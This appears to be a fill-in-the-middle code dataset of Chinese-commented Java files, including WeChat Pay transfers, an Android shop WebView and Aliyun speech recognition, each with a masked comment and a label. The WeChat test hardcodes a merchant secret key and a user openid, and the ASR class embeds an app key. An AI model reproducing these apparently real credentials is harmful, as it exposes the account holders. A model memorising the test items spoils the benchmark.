model.setMchid("1260446341"); // 商户号
model.setMch_name("小黄狗商户号"); // 商户名称
model.setOpenid("o2MXC0mRisuBidrelyTh4DIXiN3Y"); // 商户appid下,某用户的openid
model.setAmount(1); // 企业付款金额,这里单位为元
model.setDesc("测试企业付款到零钱");
// 微信官方API文档 https://pay.weixin.qq.com/wiki/doc/api/tools/mch_pay.php?chapter=14_2
ResultEntity iResult = WechatpayUtil.doTransfers(appkey, certPath, model);
LOG.info(iResult);
}
}
| 1576891633/red-code | src/main/java/cc/mrbird/febs/wx/TestApp.java | 491 | // 商户名称 | line_comment | zh-cn | package cc.mrbird.febs.wx;
import cc.mrbird.febs.wx.entity.ResultEntity;
import cc.mrbird.febs.wx.entity.TransfersDto;
import cc.mrbird.febs.wx.util.WechatpayUtil;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
/**
* QQ:2172931891 有任何关于微信开发的问题可以相互交流
*/
public class TestApp
{
private static final Log LOG = LogFactory.getLog(TestApp.class);
public static void main(String[] args)
{
String appkey = "137130421c9b43cb9763b39647a33bd9";// 微信商户秘钥, 根据实际情况填写
String certPath = "D:\\demo\\apiclient_cert.p12";// 微信商户证书路径, 根据实际情况填写
TransfersDto model = new TransfersDto();// 微信接口请求参数, 根据实际情况填写
model.setMch_appid("wx5cc601e2403cd25d"); // 申请商户号的appid或商户号绑定的appid
model.setMchid("1260446341"); // 商户号
model.setMch_name("小黄狗商户号"); // 商户 <SUF>
model.setOpenid("o2MXC0mRisuBidrelyTh4DIXiN3Y"); // 商户appid下,某用户的openid
model.setAmount(1); // 企业付款金额,这里单位为元
model.setDesc("测试企业付款到零钱");
// 微信官方API文档 https://pay.weixin.qq.com/wiki/doc/api/tools/mch_pay.php?chapter=14_2
ResultEntity iResult = WechatpayUtil.doTransfers(appkey, certPath, model);
LOG.info(iResult);
}
}
| 0 |
53030_1 | package com.lfg.rongxiaotong.domain;
import com.baomidou.mybatisplus.annotation.IdType;
import com.baomidou.mybatisplus.annotation.TableField;
import com.baomidou.mybatisplus.annotation.TableId;
import com.baomidou.mybatisplus.annotation.TableName;
import java.io.Serializable;
import lombok.Data;
/**
* 专家预约表
* @TableName tb_reserve
*/
@TableName(value ="tb_reserve")
@Data
public class TbReserve implements Serializable {
/**
* 专家预约
*/
@TableId(value = "id", type = IdType.AUTO)
private Integer id;
/**
* 专家
*/
@TableField(value = "expert_name")
private String expertName;
/**
* 咨询者
*/
@TableField(value = "questioner")
private String questioner;
/**
* 面积
*/
@TableField(value = "area")
private String area;
/**
* 土地地址
*/
@TableField(value = "address")
private String address;
/**
* 农作物名称
*/
@TableField(value = "plant_name")
private String plantName;
/**
* 土壤条件
*/
@TableField(value = "soil_condition")
private String soilCondition;
/**
* 作物条件
*/
@TableField(value = "plant_condition")
private String plantCondition;
/**
* 作物详细信息
*/
@TableField(value = "plant_detail")
private String plantDetail;
/**
* 作物详细信息
*/
@TableField(value = "phone")
private String phone;
/**
* 留言
*/
@TableField(value = "message")
private String message;
/**
* 回答
*/
@TableField(value = "answer")
private String answer;
/**
*
*/
@TableField(value = "status")
private Integer status;
@TableField(exist = false)
private static final long serialVersionUID = 1L;
} | 1577648502/RongXiaoTong-backend | src/main/java/com/lfg/rongxiaotong/domain/TbReserve.java | 493 | /**
* 专家预约
*/ | block_comment | zh-cn | package com.lfg.rongxiaotong.domain;
import com.baomidou.mybatisplus.annotation.IdType;
import com.baomidou.mybatisplus.annotation.TableField;
import com.baomidou.mybatisplus.annotation.TableId;
import com.baomidou.mybatisplus.annotation.TableName;
import java.io.Serializable;
import lombok.Data;
/**
* 专家预约表
* @TableName tb_reserve
*/
@TableName(value ="tb_reserve")
@Data
public class TbReserve implements Serializable {
/**
* 专家预 <SUF>*/
@TableId(value = "id", type = IdType.AUTO)
private Integer id;
/**
* 专家
*/
@TableField(value = "expert_name")
private String expertName;
/**
* 咨询者
*/
@TableField(value = "questioner")
private String questioner;
/**
* 面积
*/
@TableField(value = "area")
private String area;
/**
* 土地地址
*/
@TableField(value = "address")
private String address;
/**
* 农作物名称
*/
@TableField(value = "plant_name")
private String plantName;
/**
* 土壤条件
*/
@TableField(value = "soil_condition")
private String soilCondition;
/**
* 作物条件
*/
@TableField(value = "plant_condition")
private String plantCondition;
/**
* 作物详细信息
*/
@TableField(value = "plant_detail")
private String plantDetail;
/**
* 作物详细信息
*/
@TableField(value = "phone")
private String phone;
/**
* 留言
*/
@TableField(value = "message")
private String message;
/**
* 回答
*/
@TableField(value = "answer")
private String answer;
/**
*
*/
@TableField(value = "status")
private Integer status;
@TableField(exist = false)
private static final long serialVersionUID = 1L;
} | 0 |
57067_15 | package com.example.cne_shop.activity;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import android.view.View;
import android.webkit.JavascriptInterface;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Toast;
import com.example.cne_shop.R;
import com.example.cne_shop.application.MyApplication;
import com.example.cne_shop.base.BaseActivity;
import com.example.cne_shop.bean.ShoppingCart;
import com.example.cne_shop.bean.Ware;
import com.example.cne_shop.contents.Contents;
import com.example.cne_shop.fragment.CartFragment;
import com.example.cne_shop.utils.CartProvider;
import com.example.cne_shop.utils.JsonUtil;
import com.example.cne_shop.widget.CnToolbar;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.List;
import butterknife.BindView;
import cn.sharesdk.onekeyshare.OnekeyShare;
import dmax.dialog.SpotsDialog;
import static com.example.cne_shop.fragment.CartFragment.ORDER_WARES;
/**
* Created by 博 on 2017/8/24.
*/
public class WareDetialActivity extends BaseActivity {
@BindView(R.id.webView)
WebView webView ;
@BindView(R.id.toolBar)
CnToolbar cnToolbar ;
private Ware mWare ;
private WebAppInterface mAppInterface ;
private CartProvider cartProvider ;
private SpotsDialog dialog ;
@Override
protected int getContentViewId() {
return R.layout.ware_detial_activity;
}
@Override
protected void initView() {
Serializable serializable = getIntent().getSerializableExtra(Contents.WARE);
if (serializable == null) {
this.finish();
}
dialog = new SpotsDialog(this , "loading...");
dialog.show();
mWare = (Ware) serializable ;
cartProvider = CartProvider.getCartProvider(this) ;
initWebView() ;
}
@Override
protected void addListener() {
addBackButtonListener() ;
addShareButtonListener() ;
}
@Override
protected void beforLayout() {
}
private void addShareButtonListener(){
cnToolbar.setRightButtonIcOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
showShare() ;
}
});
}
private void addBackButtonListener(){
cnToolbar.setLeftButtonIcOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
WareDetialActivity.this.finish();
}
});
}
class WC extends WebViewClient {
@Override
public void onPageFinished(WebView view, String url) {
super.onPageFinished(view, url);
if (dialog!=null && dialog.isShowing()){
dialog.dismiss();
}
mAppInterface.showDetail();
}
}
private void initWebView(){
WebSettings settings = webView.getSettings() ;
settings.setJavaScriptEnabled(true);
settings.setBlockNetworkImage(false);
settings.setAppCacheEnabled(true);
webView.loadUrl(Contents.API.SHOW_WARE_DETIAL);
mAppInterface = new WebAppInterface(this) ;
webView.addJavascriptInterface(mAppInterface , "appInterface");
webView.setWebViewClient(new WC());
}
class WebAppInterface{
private Context mContext ;
public WebAppInterface(Context context) {
this.mContext = context ;
}
@JavascriptInterface
public void showDetail(){
runOnUiThread(new Runnable() {
@Override
public void run() {
webView.loadUrl("javascript:showDetail("+mWare.getId()+")");
}
});
}
@JavascriptInterface
public void buy(long id){
Toast.makeText(mContext , "立即购买" , Toast.LENGTH_SHORT).show();
//去结算
Intent intent = new Intent(WareDetialActivity.this , NewOrderActivity.class) ;
Log.d("----" ,"--------------mWare.getPrice()---------------" + mWare.getPrice()) ;
intent.putExtra( CartFragment.SUM_PRICE , Float.valueOf( mWare.getPrice() ) );
intent.putExtra( ORDER_WARES ,getOrderWares() ) ;
startActivityWithLogin(intent , true , MyApplication.START_NO_RESULT);
}
@JavascriptInterface
public void addToCart(long id){
cartProvider.put(mWare);
Toast.makeText(mContext , "添加购物车" , Toast.LENGTH_SHORT).show();
}
}
public String getOrderWares(){
List<ShoppingCart> orderWares = new ArrayList<>() ;
ShoppingCart shoppingCart = new ShoppingCart() ;
shoppingCart.setCount(1);
shoppingCart.setChecked(true);
shoppingCart.setId(mWare.getId());
shoppingCart.setImgUrl(mWare.getImgUrl());
shoppingCart.setPrice(mWare.getPrice());
orderWares.add(shoppingCart) ;
return JsonUtil.toJSON(orderWares);
}
private void showShare() {
OnekeyShare oks = new OnekeyShare();
//关闭sso授权
oks.disableSSOWhenAuthorize();
// 分享时Notification的图标和文字 2.5.9以后的版本不 调用此方法
//oks.setNotification(R.drawable.ic_launcher, getString(R.string.app_name));
// title标题,印象笔记、邮箱、信息、微信、人人网和QQ空间使用
oks.setTitle("分享");
// titleUrl是标题的网络链接,仅在人人网和QQ空间使用
oks.setTitleUrl("http://sharesdk.cn");
// text是分享文本,所有平台都需要这个字段
oks.setText(mWare.getName());
// imagePath是图片的本地路径,Linked-In以外的平台都支持此参数
// oks.setImagePath(mWare.getImgUrl());//确保SDcard下面存在此张图片
oks.setImageUrl(mWare.getImgUrl());
// url仅在微信(包括好友和朋友圈)中使用
oks.setUrl("http://sharesdk.cn");
// comment是我对这条分享的评论,仅在人人网和QQ空间使用
oks.setComment("很好的商品哟");
// site是分享此内容的网站名称,仅在QQ空间使用
oks.setSite(getString(R.string.app_name));
// siteUrl是分享此内容的网站地址,仅在QQ空间使用
oks.setSiteUrl("http://sharesdk.cn");
// 启动分享GUI
oks.show(this);
}
}
| 15829238397/CN5E-shop | app/src/main/java/com/example/cne_shop/activity/WareDetialActivity.java | 1,628 | // siteUrl是分享此内容的网站地址,仅在QQ空间使用 | line_comment | zh-cn | package com.example.cne_shop.activity;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import android.view.View;
import android.webkit.JavascriptInterface;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Toast;
import com.example.cne_shop.R;
import com.example.cne_shop.application.MyApplication;
import com.example.cne_shop.base.BaseActivity;
import com.example.cne_shop.bean.ShoppingCart;
import com.example.cne_shop.bean.Ware;
import com.example.cne_shop.contents.Contents;
import com.example.cne_shop.fragment.CartFragment;
import com.example.cne_shop.utils.CartProvider;
import com.example.cne_shop.utils.JsonUtil;
import com.example.cne_shop.widget.CnToolbar;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.List;
import butterknife.BindView;
import cn.sharesdk.onekeyshare.OnekeyShare;
import dmax.dialog.SpotsDialog;
import static com.example.cne_shop.fragment.CartFragment.ORDER_WARES;
/**
* Created by 博 on 2017/8/24.
*/
public class WareDetialActivity extends BaseActivity {
@BindView(R.id.webView)
WebView webView ;
@BindView(R.id.toolBar)
CnToolbar cnToolbar ;
private Ware mWare ;
private WebAppInterface mAppInterface ;
private CartProvider cartProvider ;
private SpotsDialog dialog ;
@Override
protected int getContentViewId() {
return R.layout.ware_detial_activity;
}
@Override
protected void initView() {
Serializable serializable = getIntent().getSerializableExtra(Contents.WARE);
if (serializable == null) {
this.finish();
}
dialog = new SpotsDialog(this , "loading...");
dialog.show();
mWare = (Ware) serializable ;
cartProvider = CartProvider.getCartProvider(this) ;
initWebView() ;
}
@Override
protected void addListener() {
addBackButtonListener() ;
addShareButtonListener() ;
}
@Override
protected void beforLayout() {
}
private void addShareButtonListener(){
cnToolbar.setRightButtonIcOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
showShare() ;
}
});
}
private void addBackButtonListener(){
cnToolbar.setLeftButtonIcOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
WareDetialActivity.this.finish();
}
});
}
class WC extends WebViewClient {
@Override
public void onPageFinished(WebView view, String url) {
super.onPageFinished(view, url);
if (dialog!=null && dialog.isShowing()){
dialog.dismiss();
}
mAppInterface.showDetail();
}
}
private void initWebView(){
WebSettings settings = webView.getSettings() ;
settings.setJavaScriptEnabled(true);
settings.setBlockNetworkImage(false);
settings.setAppCacheEnabled(true);
webView.loadUrl(Contents.API.SHOW_WARE_DETIAL);
mAppInterface = new WebAppInterface(this) ;
webView.addJavascriptInterface(mAppInterface , "appInterface");
webView.setWebViewClient(new WC());
}
class WebAppInterface{
private Context mContext ;
public WebAppInterface(Context context) {
this.mContext = context ;
}
@JavascriptInterface
public void showDetail(){
runOnUiThread(new Runnable() {
@Override
public void run() {
webView.loadUrl("javascript:showDetail("+mWare.getId()+")");
}
});
}
@JavascriptInterface
public void buy(long id){
Toast.makeText(mContext , "立即购买" , Toast.LENGTH_SHORT).show();
//去结算
Intent intent = new Intent(WareDetialActivity.this , NewOrderActivity.class) ;
Log.d("----" ,"--------------mWare.getPrice()---------------" + mWare.getPrice()) ;
intent.putExtra( CartFragment.SUM_PRICE , Float.valueOf( mWare.getPrice() ) );
intent.putExtra( ORDER_WARES ,getOrderWares() ) ;
startActivityWithLogin(intent , true , MyApplication.START_NO_RESULT);
}
@JavascriptInterface
public void addToCart(long id){
cartProvider.put(mWare);
Toast.makeText(mContext , "添加购物车" , Toast.LENGTH_SHORT).show();
}
}
public String getOrderWares(){
List<ShoppingCart> orderWares = new ArrayList<>() ;
ShoppingCart shoppingCart = new ShoppingCart() ;
shoppingCart.setCount(1);
shoppingCart.setChecked(true);
shoppingCart.setId(mWare.getId());
shoppingCart.setImgUrl(mWare.getImgUrl());
shoppingCart.setPrice(mWare.getPrice());
orderWares.add(shoppingCart) ;
return JsonUtil.toJSON(orderWares);
}
private void showShare() {
OnekeyShare oks = new OnekeyShare();
//关闭sso授权
oks.disableSSOWhenAuthorize();
// 分享时Notification的图标和文字 2.5.9以后的版本不 调用此方法
//oks.setNotification(R.drawable.ic_launcher, getString(R.string.app_name));
// title标题,印象笔记、邮箱、信息、微信、人人网和QQ空间使用
oks.setTitle("分享");
// titleUrl是标题的网络链接,仅在人人网和QQ空间使用
oks.setTitleUrl("http://sharesdk.cn");
// text是分享文本,所有平台都需要这个字段
oks.setText(mWare.getName());
// imagePath是图片的本地路径,Linked-In以外的平台都支持此参数
// oks.setImagePath(mWare.getImgUrl());//确保SDcard下面存在此张图片
oks.setImageUrl(mWare.getImgUrl());
// url仅在微信(包括好友和朋友圈)中使用
oks.setUrl("http://sharesdk.cn");
// comment是我对这条分享的评论,仅在人人网和QQ空间使用
oks.setComment("很好的商品哟");
// site是分享此内容的网站名称,仅在QQ空间使用
oks.setSite(getString(R.string.app_name));
// si <SUF>
oks.setSiteUrl("http://sharesdk.cn");
// 启动分享GUI
oks.show(this);
}
}
| 0 |
50395_8 | package proxy;
import proxy.impl.BigFactory;
import proxy.impl.SmallFactory;
import proxy.interfaces.CakeFactory;
import proxy.interfaces.ToyFactory;
import java.lang.reflect.Method;
/**
* @author 尉迟涛
* create time : 2020/2/21 22:38
* description :
*/
public class Main {
public static void main(String[] args) {
// 我的小店
MyShop myShop = new MyShop();
// 我能联系到的工厂,可以定制玩具和蛋糕
BigFactory bigFactory = new BigFactory();
SmallFactory smallFactory = new SmallFactory();
// 定制一个玩具
myShop.setFactory(bigFactory);
// 通知工厂
ToyFactory toyFactoryBig = (ToyFactory) myShop.myShopProxy();
// 售前服务、制造、售后服务(这里实际上是调用了proxy对象)
String toy1 = toyFactoryBig.makeToy("变形金刚");
// 看一下玩具
System.out.println(toy1);
System.out.println("-------------------");
// 定制一个蛋糕
myShop.setFactory(smallFactory);
CakeFactory toyFactorySmall = (CakeFactory) myShop.myShopProxy();
String cake1 = toyFactorySmall.makeCake("草莓味");
System.out.println(cake1);
System.out.println("-------------------");
// 当然,我们也可以找大工厂定制一个蛋糕
myShop.setFactory(bigFactory);
CakeFactory cakeFactoryBig = (CakeFactory) myShop.myShopProxy();
String cake2 = cakeFactoryBig.makeCake("芒果味");
System.out.println(cake2);
System.out.println("-------------------");
// 运行工具得到 proxy 的 class 文件
ProxyUtils.generateClassFile(
bigFactory.getClass(),
toyFactoryBig.getClass().getSimpleName()
);
ProxyUtils.generateClassFile(
smallFactory.getClass(),
toyFactorySmall.getClass().getSimpleName()
);
Method[] methods = toyFactorySmall.getClass().getMethods();
for(Method method:methods) {
//打印方法名称
System.out.println(method.getName());
}
}
}
| 15915763299/AlgorithmAndTools | proxy/src/main/java/proxy/Main.java | 552 | // 当然,我们也可以找大工厂定制一个蛋糕 | line_comment | zh-cn | package proxy;
import proxy.impl.BigFactory;
import proxy.impl.SmallFactory;
import proxy.interfaces.CakeFactory;
import proxy.interfaces.ToyFactory;
import java.lang.reflect.Method;
/**
* @author 尉迟涛
* create time : 2020/2/21 22:38
* description :
*/
public class Main {
public static void main(String[] args) {
// 我的小店
MyShop myShop = new MyShop();
// 我能联系到的工厂,可以定制玩具和蛋糕
BigFactory bigFactory = new BigFactory();
SmallFactory smallFactory = new SmallFactory();
// 定制一个玩具
myShop.setFactory(bigFactory);
// 通知工厂
ToyFactory toyFactoryBig = (ToyFactory) myShop.myShopProxy();
// 售前服务、制造、售后服务(这里实际上是调用了proxy对象)
String toy1 = toyFactoryBig.makeToy("变形金刚");
// 看一下玩具
System.out.println(toy1);
System.out.println("-------------------");
// 定制一个蛋糕
myShop.setFactory(smallFactory);
CakeFactory toyFactorySmall = (CakeFactory) myShop.myShopProxy();
String cake1 = toyFactorySmall.makeCake("草莓味");
System.out.println(cake1);
System.out.println("-------------------");
// 当然 <SUF>
myShop.setFactory(bigFactory);
CakeFactory cakeFactoryBig = (CakeFactory) myShop.myShopProxy();
String cake2 = cakeFactoryBig.makeCake("芒果味");
System.out.println(cake2);
System.out.println("-------------------");
// 运行工具得到 proxy 的 class 文件
ProxyUtils.generateClassFile(
bigFactory.getClass(),
toyFactoryBig.getClass().getSimpleName()
);
ProxyUtils.generateClassFile(
smallFactory.getClass(),
toyFactorySmall.getClass().getSimpleName()
);
Method[] methods = toyFactorySmall.getClass().getMethods();
for(Method method:methods) {
//打印方法名称
System.out.println(method.getName());
}
}
}
| 1 |
39718_2 | package exercise; /**
* Created by xdx on 2015/10/23.
* //输入一行字符,分别统计出其中英文字母、空格、数字和其它字符的个数。
*/
import java.util.Scanner;
public class E7 {
public static void main(String[] args) {
System.out.println("请输入一行字符: ");
Scanner scan = new Scanner(System.in);
String s = scan.nextLine();
int other = 0; //其它
int digit = 0; //数字
int space = 0; //空格
int character = 0; //字母
int chinese = 0; //中文
for (int i = 0; i < s.length(); i++) {
if (s.charAt(i) >= '0' && s.charAt(i) < '9') {
digit++; //判断数字
} else if ((s.charAt(i) >= 'a' && s.charAt(i) < 'z') || (s.charAt(i) >= 'A' && s.charAt(i) <= 'Z')) {
character++; //判断英文
} else if (s.charAt(i) >= '\u4e00' && s.charAt(i) <= '\u9fa5') {
chinese++; //判断中文
} else if (s.charAt(i) == ' ') {
space++; //判断空格
} else {
other++; //判断其它
}
}
System.out.println("数字:" + digit + '个');
System.out.println("英文:" + character + '个');
System.out.println("中文:" + chinese + '个');
System.out.println("空格:" + space + '个');
System.out.println("其它:" + other + '个');
}
}
| 16348104/16348104.github.com | java/src/exercise/E7.java | 435 | //判断英文 | line_comment | zh-cn | package exercise; /**
* Created by xdx on 2015/10/23.
* //输入一行字符,分别统计出其中英文字母、空格、数字和其它字符的个数。
*/
import java.util.Scanner;
public class E7 {
public static void main(String[] args) {
System.out.println("请输入一行字符: ");
Scanner scan = new Scanner(System.in);
String s = scan.nextLine();
int other = 0; //其它
int digit = 0; //数字
int space = 0; //空格
int character = 0; //字母
int chinese = 0; //中文
for (int i = 0; i < s.length(); i++) {
if (s.charAt(i) >= '0' && s.charAt(i) < '9') {
digit++; //判断数字
} else if ((s.charAt(i) >= 'a' && s.charAt(i) < 'z') || (s.charAt(i) >= 'A' && s.charAt(i) <= 'Z')) {
character++; //判断 <SUF>
} else if (s.charAt(i) >= '\u4e00' && s.charAt(i) <= '\u9fa5') {
chinese++; //判断中文
} else if (s.charAt(i) == ' ') {
space++; //判断空格
} else {
other++; //判断其它
}
}
System.out.println("数字:" + digit + '个');
System.out.println("英文:" + character + '个');
System.out.println("中文:" + chinese + '个');
System.out.println("空格:" + space + '个');
System.out.println("其它:" + other + '个');
}
}
| 0 |
44682_3 | package shendi.game.whoisthespy.room;
import java.util.Set;
import shendi.game.whoisthespy.player.Player;
import shendi.game.whoisthespy.player.PlayerType;
/**
* 默认房间(警杀模式)
* @author Shendi <a href='tencent://AddContact/?fromId=45&fromSubId=1&subcmd=all&uin=1711680493'>QQ</a>
* @version 1.0
*/
public class DefaultRoom extends Room {
public DefaultRoom(String sessionId) {
//默认六个人
super(sessionId, 6);
}
@Override
protected void start() {
//分配职位 一警察 一杀手
int police = (int)(Math.random() * 100 % 6) + 1;
int slayer = (int)(Math.random() * 100 % 6) + 1;
//警察杀手不能同一人
while (police == slayer) slayer = (int)(Math.random() * 100 % 6) + 1;
Set<Integer> keys = getPlayers().keySet();
for (int key : keys) {
Player player = new Player(key);
if (key == police) {
//警察
player.setType(PlayerType.警察);
} else if (key == slayer) {
//杀手
player.setType(PlayerType.杀手);
}
startPlayers.put(getPlayers().get(key), player);
}
//提醒用户的身份
startPlayers.forEach((k,v) -> {
sendInfoByUser(k, "游戏开始了!你的身份是:" + v.getType());
});
//开始游戏逻辑
switchGameState();
}
@Override
protected void stop() {
//清除状态
startPlayers.clear();
}
@Override
protected Player getPlayer(String sessionId) {
return startPlayers.get(sessionId);
}
}
| 1711680493/Application | WhoIsTheSpy/src/shendi/game/whoisthespy/room/DefaultRoom.java | 515 | //警察杀手不能同一人 | line_comment | zh-cn | package shendi.game.whoisthespy.room;
import java.util.Set;
import shendi.game.whoisthespy.player.Player;
import shendi.game.whoisthespy.player.PlayerType;
/**
* 默认房间(警杀模式)
* @author Shendi <a href='tencent://AddContact/?fromId=45&fromSubId=1&subcmd=all&uin=1711680493'>QQ</a>
* @version 1.0
*/
public class DefaultRoom extends Room {
public DefaultRoom(String sessionId) {
//默认六个人
super(sessionId, 6);
}
@Override
protected void start() {
//分配职位 一警察 一杀手
int police = (int)(Math.random() * 100 % 6) + 1;
int slayer = (int)(Math.random() * 100 % 6) + 1;
//警察 <SUF>
while (police == slayer) slayer = (int)(Math.random() * 100 % 6) + 1;
Set<Integer> keys = getPlayers().keySet();
for (int key : keys) {
Player player = new Player(key);
if (key == police) {
//警察
player.setType(PlayerType.警察);
} else if (key == slayer) {
//杀手
player.setType(PlayerType.杀手);
}
startPlayers.put(getPlayers().get(key), player);
}
//提醒用户的身份
startPlayers.forEach((k,v) -> {
sendInfoByUser(k, "游戏开始了!你的身份是:" + v.getType());
});
//开始游戏逻辑
switchGameState();
}
@Override
protected void stop() {
//清除状态
startPlayers.clear();
}
@Override
protected Player getPlayer(String sessionId) {
return startPlayers.get(sessionId);
}
}
| 0 |
24904_1 | package shendi.kit.util;
/**
* 单链表结点,拥有数据与指向下一个结点的指针.
* @author Shendi <a href='tencent://AddContact/?fromId=45&fromSubId=1&subcmd=all&uin=1711680493'>QQ</a>
* @version 1.0
*/
public class Node<E> {
/** 结点数据 */
E data;
/** 指向下一个结点的指针 */
Node<E> next;
/**
* 创建结点
* @param data {@link #data}
* @param next {@link #next}
*/
public Node (E data, Node<E> next) {
this.data = data;
this.next = next;
}
}
| 1711680493/ShendiKit | src/shendi/kit/util/Node.java | 195 | /** 结点数据 */ | block_comment | zh-cn | package shendi.kit.util;
/**
* 单链表结点,拥有数据与指向下一个结点的指针.
* @author Shendi <a href='tencent://AddContact/?fromId=45&fromSubId=1&subcmd=all&uin=1711680493'>QQ</a>
* @version 1.0
*/
public class Node<E> {
/** 结点数 <SUF>*/
E data;
/** 指向下一个结点的指针 */
Node<E> next;
/**
* 创建结点
* @param data {@link #data}
* @param next {@link #next}
*/
public Node (E data, Node<E> next) {
this.data = data;
this.next = next;
}
}
| 0 |
33914_9 | package com.example.ailive;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.content.Context;
import android.media.AudioFormat;
import android.media.AudioRecord;
import android.media.MediaRecorder;
import android.os.Handler;
import android.os.HandlerThread;
import android.util.Log;
import com.alibaba.fastjson.JSONException;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.idst.nui.AsrResult;
import com.alibaba.idst.nui.CommonUtils;
import com.alibaba.idst.nui.Constants;
import com.alibaba.idst.nui.INativeNuiCallback;
import com.alibaba.idst.nui.KwsResult;
import com.alibaba.idst.nui.NativeNui;
import com.example.ailive.token.AccessToken;
import java.io.IOException;
import java.util.Arrays;
import java.util.List;
import java.util.Objects;
public class ASR implements INativeNuiCallback {
// ASR 相关的方法和变量
private static final String APPKEY = "8Xu8cELorObhV2cQ";
String token;
private static final String URL = "wss://nls-gateway.aliyuncs.com:443/ws/v1";
private AudioRecord mAudioRecorder;
private Context context;
private UI ui;
NativeNui nui_instance = new NativeNui();
final static int WAVE_FRAM_SIZE = 20 * 2 * 1 * 16000 / 1000; //20ms audio for 16k/16bit/mono
final static int SAMPLE_RATE = 16000;
AccessToken accessToken = AccessToken.getInstance();
private GPT gpt;
public ASR(Context context, UI ui) {
this.context = context;
this.ui = ui;
gpt = new GPT(ui, context);
Thread th = new Thread() {
@Override
public void run() {
try {
accessToken.apply();
} catch (IOException e) {
e.printStackTrace();
}
}
};
th.start();
try {
th.join(5000);
} catch (InterruptedException e) {
e.printStackTrace();
}
token = accessToken.getToken();
}
private static final List<String> STOP_COMMANDS = Arrays.asList("勾勒", "够了", "狗了", "勾了", "狗乐", "构乐", "购乐", "勾乐", "狗拉", "够拉", "勾拉", "过了", "国乐", "锅了", "郭乐", "果乐", "国拉", "过拉", "郭拉", "锅拉", "高子", "钩子", "停下来", "停下", "听下", "挺下", "停停停", "停下", "听下", "挺下", "亭下", "庭下", "廷下", "艇下", "葶下", "汀下", "铤下", "蜓下", "町下", "婷下", "停车", "听车", "挺车", "亭车", "庭车", "廷车", "艇车", "葶车", "汀车", "铤车", "蜓车", "町车", "婷车", "停步", "听步", "挺步", "亭步", "庭步", "廷步", "艇步", "葶步", "汀步", "铤步", "蜓步", "町步", "婷步"
// ... 其他可能的词
);
@SuppressLint("MissingPermission")
public void doInit() {
mAudioRecorder = new AudioRecord(MediaRecorder.AudioSource.VOICE_RECOGNITION, SAMPLE_RATE, AudioFormat.CHANNEL_IN_MONO, AudioFormat.ENCODING_PCM_16BIT, WAVE_FRAM_SIZE * 4000);
String workspace = CommonUtils.getModelPath(context);
int ret = nui_instance.initialize(this, genInitParams(workspace), Constants.LogLevel.LOG_LEVEL_VERBOSE, false);
nui_instance.setParams(genParams());
}
@Override
public void onNuiEventCallback(Constants.NuiEvent nuiEvent, int resultCode, int arg2, KwsResult kwsResult, AsrResult asrResult) {
if (nuiEvent == Constants.NuiEvent.EVENT_TRANSCRIBER_COMPLETE) {
ui.setButtonState(ui.getStartButton(), true);
ui.setButtonState(ui.getCancelButton(), false);
return;
}
if (nuiEvent == Constants.NuiEvent.EVENT_SENTENCE_START) {
return;
}
if (nuiEvent == Constants.NuiEvent.EVENT_SENTENCE_END) {
try {
org.json.JSONObject mainJsonObject = new org.json.JSONObject(asrResult.asrResult);
if (!mainJsonObject.has("payload")) {
return;
}
org.json.JSONObject payloadObject = mainJsonObject.getJSONObject("payload");
if (!payloadObject.has("result")) {
return;
}
String resultValue = payloadObject.getString("result");
// 检查结果长度
if (resultValue.length() < 5) {
for (String stopCommand : STOP_COMMANDS) {
if (resultValue.contains(stopCommand)) {
gpt.onStop();
gpt.onStart();
}
}
return; // 小于5个字,不进行任何处理,直接返回
}
ui.autonomousTime=Long.MAX_VALUE;
gpt.onStop();
gpt.onStart();
ui.showText(ui.getAskView(), "我:" + resultValue);
processInputText(resultValue);
} catch (Exception e) {
e.printStackTrace();
}
return;
}
if (nuiEvent == Constants.NuiEvent.EVENT_ASR_ERROR) {
return;
}
}
public void processInputText(String text) {
gpt.setAsrText(text);
gpt.processAsrText();
}
@Override
public int onNuiNeedAudioData(byte[] buffer, int len) {
return mAudioRecorder.read(buffer, 0, len);
}
@Override
public void onNuiAudioStateChanged(Constants.AudioState audioState) {
if (audioState == Constants.AudioState.STATE_OPEN) {
mAudioRecorder.startRecording();
return;
}
if (audioState == Constants.AudioState.STATE_CLOSE) {
mAudioRecorder.release();
return;
}
if (audioState == Constants.AudioState.STATE_PAUSE) {
mAudioRecorder.stop();
}
}
@Override
public void onNuiAudioRMSChanged(float v) {
}
@Override
public void onNuiVprEventCallback(Constants.NuiVprEvent nuiVprEvent) {
}
String genInitParams(String workspace) {
JSONObject object = new JSONObject();
object.put("app_key", APPKEY);
object.put("format", "MP3");
object.put("token", token);
object.put("device_id", Utils.getDeviceId());
object.put("url", URL);
object.put("workspace", workspace);
object.put("service_mode", Constants.ModeFullCloud);
return object.toString();
}
private String genParams() {
// 接口说明可见https://help.aliyun.com/document_detail/173528.html
JSONObject params = new JSONObject();
JSONObject nls_config = new JSONObject();
nls_config.put("enable_intermediate_result", false); // 是否返回中间识别结果,默认值:false。
nls_config.put("enable_punctuation_prediction", true); // 是否在后处理中添加标点,默认值:false。
nls_config.put("max_sentence_silence", 2000); // 语音断句检测阈值,静音时长超过该阈值被认为断句。取值范围:200ms~2000ms,默认值:800ms。
nls_config.put("disfluency", true); // 过滤语气词,即声音顺滑,默认值false
nls_config.put("speech_noise_threshold", 0.98); // 噪音参数阈值,取值范围:-1~+1。取值越接近+1,判定为噪音的越多,亦即有可能更多语音被当作噪音被拒绝掉。
params.put("nls_config", nls_config);
params.put("service_type", Constants.kServiceTypeSpeechTranscriber);
return params.toString();
}
public void startDialog(Handler mHandler) {
mHandler.post(new Runnable() {
@Override
public void run() {
int ret = nui_instance.startDialog(Constants.VadMode.TYPE_P2T, genDialogParams());
}
});
}
private String genDialogParams() {
String params = "";
try {
JSONObject dialog_param = new JSONObject();
params = dialog_param.toString();
} catch (JSONException e) {
